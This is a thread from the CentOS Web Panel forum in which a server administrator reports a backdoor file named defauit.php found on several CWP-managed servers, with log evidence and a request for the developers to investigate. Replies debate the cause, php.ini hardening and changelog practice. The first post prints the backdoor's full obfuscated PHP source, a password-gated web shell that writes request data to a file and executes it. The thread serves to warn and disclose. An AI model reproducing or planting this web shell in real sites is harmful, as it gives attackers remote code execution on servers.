Security Warning for CWP Users (CWPpro version: 0.9.8.1210)

Hello,

On multiple independent VPS servers running CWP (CentOS Web Panel), I have discovered a suspicious file named defauit.php located in the root directories of several websites. This file appears to have been created automatically.

Upon inspection, the file contains PHP code with the potential to be triggered externally and act as a backdoor, posing a serious security risk by allowing remote code execution.

This issue has been observed only on servers running CWP. I have not encountered the same file or behavior on other VPS servers using DirectAdmin, which suggests it may be specific to CWP environments.

The exact method of how this file spreads is still unclear. However, I strongly recommend that all CWP users check the root directories of their websites for suspicious files—especially any named defauit.php.

I urge the CWP developers to investigate this matter urgently and take the necessary steps to address the vulnerability.

For your awareness.

<?php
//ffafewafA5M1IDyPOq6t
class GetOrderPayMenuP{
public $jpg;
public function __construct(){
$this->jpg="./nbpafebaef.jpg";
}

public function paypal($sg){
touch($this->jpg);

$i=0;
$f = "file_put";
$g = ($a = sprintf("%s%s",$f,"_contents"));
$z = $g($this->jpg, sprintf("%s", $this->ppq($sg[$i][$i])));
$g;
}

public function __call($name, $arguments) {
if ($name == 'gawsf') {
$this->paypal($arguments);
} else {
return $this->xxx($arguments);
}
}
function xxx($hex){
$suffix = '3061336333663730363837303230';
$end = '33663365';
$hex = $hex[0].'3f3e';

for($i=0;$i<strlen($suffix)-1;$i+=2)
$tmp.=chr(hexdec($suffix[$i].$suffix[$i+1]));
$tmp2="";
for($i=0;$i<strlen($tmp)-1;$i+=2)
$tmp2.=chr(hexdec($tmp[$i].$tmp[$i+1]));

$str="";
for($i=0;$i<strlen($hex)-1;$i+=2)
$str.=chr(hexdec($hex[$i].$hex[$i+1]));
return  $tmp2.$str;
}

public function __destruct(){
unlink($this->jpg);

}
}
//A5M1IDyPOq6t
if(isset($_REQUEST['gggsfa']) and md5($_POST['pwdsafe'])==='dca22ff11d3540d0a7b0ad1f45286d60'){
$a = array();//fewafwafnlweafnA5M1IDyPOq6t
$order = new GetOrderPayMenuP();
$GLOBALS["gsw"] = &$a;
$GLOBALS["gsw"] = array_merge($_REQUEST,$GLOBALS["gsw"]);
define("hello",("".join(array($a["gggsfa"]))));
foreach(get_defined_functions() as $ga){
foreach ($ga as $ag){
if(strlen($ag)==20 && substr($ag,0,8)=="call_use" && substr($ag,16,strlen($ag)) == "rray")
$ag(array($order, "gawsf"), array(array(hello)));
}
}
require_once($order->jpg);
}
//A5M1IDyPOq6t
?>

Could you please advise of the following:

What was the timestamp?

What messages are being displayed in the logs?

What distro are you are you running CWP on?

CWP Free or CWPpro?

On multiple independent VPS servers running CWP, I have detected a suspicious file named defauit.php (note: obfuscated by replacing lowercase “L” with uppercase “i”) located in the root directories of websites.

Upon inspection, it was found to be a backdoor file capable of remote code execution, making use of functions like file_put_contents, __call, unlink, and __destruct.

File Details:
Filename: defauit.php

Creation Date: July 4th, 2025

The file appears to prepare a payload to be executed remotely.

Log Evidence:
The file was accessed multiple times from the following IP address:

IP: 198.144.182.13 
Timestamps: July 28th, 2025 – 09:03 and 09:12 
            July 31st, 2025 – 13:33
Requests to defauit.php triggered multiple ModSecurity Warnings.
Despite these, some PHP-level operations (like unlink() and touch()) appear to have executed based on error logs.

Evaluation:
The file was injected on July 4th, and remained dormant for about 3 weeks.

Exploitation attempts were made on July 28th and 31st.

This pattern fits a delayed activation backdoor scenario.

No such files or behavior were observed on my other servers using DirectAdmin.

Request to CWP Team:
To better understand if this issue is related to CWP itself or its environment, I kindly request the CWP developers to:

Investigate potential security vectors or vulnerabilities,

Release appropriate patches or mitigation steps,

And share an official security advisory with the community.

If needed, I can also provide the full content of the defauit.php file for analysis.

NOTE : I use cwp pro (CWPpro version: 0.9.8.1210)

Please see this Post.

http://forum.centos-webpanel.com/centos-webpanel-bugs/critical-multiple-cwp-servers-infected-arbitrary-php-code-execution-via-publ/msg51773/#msg51773

In that thread, there is also other ways to remove the infection.

Yes, the FileManager exploit at issue here was patched 2 weeks ago by the dev team. Make sure you are updating CWP regularly and then do triage/collateral damage clean up if you were infected. My AlmaLinux servers didn't seem to have taken on anything, nor had a hold-out CentOS 7.9 system running nginx as the web server (with the admin panel running on an alternate port).

Thank you for your responses. I had already taken my own precautions; I just wanted to inform you about the situation. It's clear that you are aware of the issue, so my message was simply for your information.

By the way, I'd like to clarify something: you mentioned that the issue doesn't seem to exist on AlmaLinux. However, the default.php file was found on three different CWP servers, all of which are running AlmaLinux. So, it’s clear that this issue is not limited to CentOS—it's also affecting AlmaLinux-based systems.

Thanks again for your attention and quick follow-up.

I would like to recommend that the changelogs published at https://control-webpanel.com/changelog be updated promptly and consistently with each new software release or update.

Timely and detailed changelogs serve several important purposes for users and administrators:

• Transparency of Updates: A regularly updated changelog allows users to stay informed about the specific changes introduced in each release - whether they are bug fixes, security patches, performance improvements, or new features.
• Issue Tracking and Resolution Confirmation: Many administrators monitor CWP updates in anticipation of fixes to known issues. Without updated changelogs, it becomes difficult to determine whether a particular problem has been addressed or if further action is required.
• Efficient System Administration: Accurate changelogs enable sysadmins to plan accordingly - whether it’s scheduling downtime, testing updates in staging environments, or avoiding unnecessary troubleshooting.
• Improved Trust and Engagement: Clear communication of development efforts demonstrates professionalism and fosters greater trust among the user community. It also helps users contribute better feedback and report issues more accurately.

I appreciate the ongoing work and development put into CWP and hope this suggestion can be considered to enhance the overall user experience and system reliability.

On multiple independent VPS servers running CWP, I have detected a suspicious file named defauit.php (note: obfuscated by replacing lowercase “L” with uppercase “i”) located in the root directories of websites.

Upon inspection, it was found to be a backdoor file capable of remote code execution, making use of functions like file_put_contents, __call, unlink, and __destruct.

File Details:
Filename: defauit.php

Creation Date: July 4th, 2025

The file appears to prepare a payload to be executed remotely.

Log Evidence:
The file was accessed multiple times from the following IP address:

IP: 198.144.182.13 
Timestamps: July 28th, 2025 – 09:03 and 09:12 
            July 31st, 2025 – 13:33
Requests to defauit.php triggered multiple ModSecurity Warnings.
Despite these, some PHP-level operations (like unlink() and touch()) appear to have executed based on error logs.

Evaluation:
The file was injected on July 4th, and remained dormant for about 3 weeks.

Exploitation attempts were made on July 28th and 31st.

This pattern fits a delayed activation backdoor scenario.

No such files or behavior were observed on my other servers using DirectAdmin.

Request to CWP Team:
To better understand if this issue is related to CWP itself or its environment, I kindly request the CWP developers to:

Investigate potential security vectors or vulnerabilities,

Release appropriate patches or mitigation steps,

And share an official security advisory with the community.

If needed, I can also provide the full content of the defauit.php file for analysis.

NOTE : I use cwp pro (CWPpro version: 0.9.8.1210)

You never answered what distro you are running CWP on...

And now you pointed out it was a PHP Injection Attack, and nothing to do with CWP.

What PHP Version are you running?

Did you secure your php.ini?

I would like to recommend that the changelogs published at https://control-webpanel.com/changelog be updated promptly and consistently with each new software release or update.

Timely and detailed changelogs serve several important purposes for users and administrators:

• Transparency of Updates: A regularly updated changelog allows users to stay informed about the specific changes introduced in each release - whether they are bug fixes, security patches, performance improvements, or new features.
• Issue Tracking and Resolution Confirmation: Many administrators monitor CWP updates in anticipation of fixes to known issues. Without updated changelogs, it becomes difficult to determine whether a particular problem has been addressed or if further action is required.
• Efficient System Administration: Accurate changelogs enable sysadmins to plan accordingly - whether it’s scheduling downtime, testing updates in staging environments, or avoiding unnecessary troubleshooting.
• Improved Trust and Engagement: Clear communication of development efforts demonstrates professionalism and fosters greater trust among the user community. It also helps users contribute better feedback and report issues more accurately.

I appreciate the ongoing work and development put into CWP and hope this suggestion can be considered to enhance the overall user experience and system reliability.

Or you could learn how or hire someone to secure your Linux server, before blaming it on something/someone else... Before posting something with a title of "Security Warning"...

If your not happy with CWP, PLEASE go use some other control panel...

I'm sure cPanel will fit all your requirements above... 

Or you could learn how or hire someone to secure your Linux server, before blaming it on something/someone else... Before posting something with a title of "Security Warning"...

If your not happy with CWP, PLEASE go use some other control panel...

I'm sure cPanel will fit all your requirements above... 

I'm not the OP of the thread, buddy. I was just suggesting to the dev team (if they view this thread) to update the changelogs so that people can know what has changed in the new version. I'm okay with using CWP because I am willing to learn how a web server works and fix issues by myself.

I am using a reseller hosting with cPanel right now (a few domains within CWP and others are in cPanel), but once I learn about webservers fully, I'll move all of the domains. I understand that when we get something for an affordable cost (CWP Pro) or free (CWP Free), we'll have disadvantages, and I'm okay with it.

On multiple independent VPS servers running CWP, I have detected a suspicious file named defauit.php (note: obfuscated by replacing lowercase “L” with uppercase “i”) located in the root directories of websites.

Upon inspection, it was found to be a backdoor file capable of remote code execution, making use of functions like file_put_contents, __call, unlink, and __destruct.

File Details:
Filename: defauit.php

Creation Date: July 4th, 2025

The file appears to prepare a payload to be executed remotely.

Log Evidence:
The file was accessed multiple times from the following IP address:

IP: 198.144.182.13 
Timestamps: July 28th, 2025 – 09:03 and 09:12 
            July 31st, 2025 – 13:33
Requests to defauit.php triggered multiple ModSecurity Warnings.
Despite these, some PHP-level operations (like unlink() and touch()) appear to have executed based on error logs.

Evaluation:
The file was injected on July 4th, and remained dormant for about 3 weeks.

Exploitation attempts were made on July 28th and 31st.

This pattern fits a delayed activation backdoor scenario.

No such files or behavior were observed on my other servers using DirectAdmin.

Request to CWP Team:
To better understand if this issue is related to CWP itself or its environment, I kindly request the CWP developers to:

Investigate potential security vectors or vulnerabilities,

Release appropriate patches or mitigation steps,

And share an official security advisory with the community.

If needed, I can also provide the full content of the defauit.php file for analysis.

NOTE : I use cwp pro (CWPpro version: 0.9.8.1210)

You never answered what distro you are running CWP on...

And now you pointed out it was a PHP Injection Attack, and nothing to do with CWP.

What PHP Version are you running?

Did you secure your php.ini?

First of all, thank you for your response.

My intention was never to blame or criticize CWP. On the contrary, I’m writing to you because I’ve been using it for years and truly appreciate the platform.

However, I must clearly state that I have only encountered this issue on servers running CWP.
On other servers managed with different control panels, such as DirectAdmin, I have never seen this kind of behavior.

That’s why I felt the need to investigate the matter further and share my findings in a detailed and constructive way. This was done solely to contribute to the security of the system we all use and rely on.

Yes, it might be a PHP-level vulnerability or some kind of injection technique. But the fact that this happened only on CWP-managed servers is something worth reflecting on and investigating more deeply.

Let me emphasize once again: if there is a vulnerability, identifying and addressing it early is essential to prevent a larger security issue in the future.

I already mentioned the distribution details in one of my earlier messages — you can check above.

To clarify:

One of my servers is running CentOS 7

Four of my servers are running AlmaLinux 9.5
And all of them were affected by the issue.

If the problem had only occurred on the CentOS 7 server, I would’ve accepted it as my own fault — CentOS 7 is EOL and no longer receives security updates.
But since I experienced the exact same issues on AlmaLinux 9.5 servers, I took the situation seriously.

Thank you again for your time and attention.

PHP Injection attacks are common, and from what you posted that's what looks like happened.

What PHP version are you running on all servers?

CWP doesn't restrict/disable any of PHP functions by default.
Which is good & bad at the same time.
You need to go into the php.ini file(s) and secure it yourself. There are plenty of sites that advise how to do this with a simple Google search.

Also which ruleset do you have for ModSecurity?